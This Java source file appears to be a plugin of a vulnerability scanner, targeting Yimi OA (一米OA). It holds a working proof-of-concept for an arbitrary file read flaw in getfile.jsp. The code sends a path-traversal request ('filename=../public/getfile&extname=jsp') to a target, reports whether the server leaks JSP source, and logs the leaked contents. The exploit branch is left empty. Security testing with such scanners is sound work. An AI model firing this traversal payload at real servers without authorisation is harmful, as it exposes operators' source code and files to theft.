package com.achuna33.Controllers;

import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.HttpRequest;
import com.achuna33.Utils.Response;

@BasicMapping(uri = "一米OA")
public class YimiController extends Controller implements BasicController{

    @VulnerabilityDescriptionMapping(Description="一米OA getfile.jsp 任意文件读取漏洞" ,SupportVulType= SupportVul.信息泄露)
    public void vul_Getfile(Poc_Exp type, String target, Object... args) throws Exception {
        WriteLog("\n[*]开始检测：  一米OA getfile.jsp 任意文件读取漏洞");

        switch (type){
            case EXP:
                break;
            case POC:
                HttpRequest httpRequest = new HttpRequest(target+"/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp");
                Response result = httpRequest.Get("");
                if(result.responseBody.contains("import")&&result.statusCode==200){
                    WriteLog("\n[*] 存在漏洞");
                    WriteLog(result.responseBody);
                }else {
                    WriteLog("\n[*] 不存在漏洞");
                }
                WriteLog("\n[*]"+result.responseBody);
        }
    }

}
